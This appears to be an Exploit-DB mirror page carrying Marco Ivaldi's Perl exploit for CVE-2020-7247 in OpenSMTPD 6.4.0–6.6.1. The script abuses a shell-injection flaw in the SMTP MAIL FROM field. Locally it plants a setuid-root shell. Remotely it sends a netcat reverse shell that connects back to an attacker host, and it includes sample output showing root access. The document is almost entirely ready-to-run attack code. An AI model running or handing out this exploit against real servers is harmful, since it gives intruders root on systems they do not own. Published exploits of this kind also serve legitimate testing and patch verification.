OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution

  • 作者: Marco Ivaldi
    日期: 2020-02-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48051/
  • # Exploit Title: OpenSMTPD 6.6.1 - Local Privilege Escalation
    # Date: 2020-02-02
    # Exploit Author: Marco Ivaldi
    # Vendor Homepage: https://www.opensmtpd.org/
    # Version: OpenSMTPD 6.4.0 - 6.6.1
    # Tested on: OpenBSD 6.6, Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1
    # CVE: CVE-2020-7247
    
    #!/usr/bin/perl
    
    #
    # raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD
    # Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
    #
    # smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and
    # other products, allows remote attackers to execute arbitrary commands as root
    # via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL
    # FROM field. This affects the "uncommented" default configuration. The issue
    # exists because of an incorrect return value upon failure of input validation
    # (CVE-2020-7247).
    #
    # "Wow. I feel all butterflies in my tummy that bugs like this still exist. 
    # That's awesome :)" -- skyper
    #
    # This exploit targets OpenBSD's OpenSMTPD in order to escalate privileges to
    # root on OpenBSD in the default configuration, or execute remote commands as 
    # root (only in OpenSMTPD "uncommented" default configuration).
    #
    # See also:
    # https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt
    # https://poolp.org/posts/2020-01-30/opensmtpd-advisory-dissected/
    # https://www.kb.cert.org/vuls/id/390745/
    # https://www.opensmtpd.org/security.html
    #
    # Usage (LPE):
    # phish$ uname -a
    # OpenBSD phish.fnord.st 6.6 GENERIC#353 amd64
    # phish$ id
    # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor), 0(wheel)
    # phish$ ./raptor_opensmtpd.pl LPE
    # [...]
    # Payload sent, please wait 5 seconds...
    # -rwsrwxrwx1 rootwheel12432 Feb1 21:20 /usr/local/bin/pwned
    # phish# id
    # uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel)
    #
    # Usage (RCE):
    # raptor@eris ~ % ./raptor_opensmtpd.pl RCE 10.0.0.162 10.0.0.24 example.org
    # [...]
    # Payload sent, please wait 5 seconds...
    # /bin/sh: No controlling tty (open /dev/tty: Device not configured)
    # /bin/sh: Can't find tty file descriptor
    # /bin/sh: warning: won't have full job control
    # phish# id
    # uid=0(root) gid=0(wheel) groups=0(wheel)
    #
    # Vulnerable platforms (OpenSMTPD 6.4.0 - 6.6.1):
    # OpenBSD 6.6 [tested]
    # OpenBSD 6.5 [untested]
    # OpenBSD 6.4 [untested]
    # Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1 [tested]
    # Other Linux distributions [untested]
    # FreeBSD [untested]
    # NetBSD [untested]
    # 
    
    use IO::Socket::INET;
    
    print "raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD\n";
    print "Copyright (c) 2020 Marco Ivaldi <raptor\@0xdeadbeef.info>\n\n";
    
    $usage = "Usage:\n".
    "$0 LPE\n".
    "$0 RCE <remote_host> <local_host> [<domain>]\n";
    $lport = 4444;
    
    ($type, $rhost, $lhost, $domain) = @ARGV;
    die $usage if (($type ne "LPE") && ($type ne "RCE"));
    
    # Prepare the payload
    if ($type eq "LPE") { # LPE
    	$payload = "cp /bin/sh /usr/local/bin/pwned\n".
    	"echo 'main(){setuid(0);setgid(0);system(\"/bin/sh\");}' > /tmp/pwned.c\n".
    	"gcc /tmp/pwned.c -o /usr/local/bin/pwned\nchmod 4777 /usr/local/bin/pwned";
    	$rhost = "127.0.0.1";
    } else { # RCE
    	die $usage if ((not defined $rhost) || (not defined $lhost));
    	$payload = "sleep 5;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|".
    	"nc $lhost $lport >/tmp/f";
    }
    
    # Open SMTP connection
    $| = 1;
    $s = IO::Socket::INET->new("$rhost:25") or die "Error: $@\n";
    
    # Read SMTP banner
    $r = <$s>;
    print "< $r";
    die "Error: this is not OpenSMTPD\n" if ($r !~ /OpenSMTPD/);
    
    # Send HELO
    $w = "HELO fnord";
    print "> $w\n";
    print $s "$w\n";
    $r = <$s>;
    print "< $r";
    die "Error: expected 250\n" if ($r !~ /^250/);
    
    # Send evil MAIL FROM
    $w = "MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>";
    print "> $w\n";
    print $s "$w\n";
    $r = <$s>;
    print "< $r";
    die "Error: expected 250\n" if ($r !~ /^250/);
    
    # Send RCPT TO
    if (not defined $domain) {
    	$rcpt = "<root>";
    } else {
    	$rcpt = "<root\@$domain>";
    }
    $w = "RCPT TO:$rcpt";
    print "> $w\n";
    print $s "$w\n";
    $r = <$s>;
    print "< $r";
    die "Error: expected 250\n" if ($r !~ /^250/);
    
    # Send payload in DATA
    $w = "DATA";
    print "> $w\n";
    print $s "$w\n";
    $r = <$s>;
    print "< $r";
    $w = "\n#0\n#1\n#2\n#3\n#4\n#5\n#6\n#7\n#8\n#9\n#a\n#b\n#c\n#d\n$payload\n.";
    #print "> $w\n"; # uncomment for debugging
    print $s "$w\n";
    $r = <$s>;
    print "< $r";
    die "Error: expected 250\n" if ($r !~ /^250/);
    
    # Close SMTP connection
    $s->close();
    print "\nPayload sent, please wait 5 seconds...\n";
    
    # Got root?
    if ($type eq "LPE") { # LPE
    	sleep 5;
    	print `ls -l /usr/local/bin/pwned`;
    	exec "/usr/local/bin/pwned" or die "Error: exploit failed :(\n";
    } else { # RCE
    	exec "nc -vl $lport" or die "Error: unable to execute netcat\n"; # BSD netcat
    	#exec "nc -vlp $lport" or die "Error: unable to execute netcat\n"; # Debian netcat
    }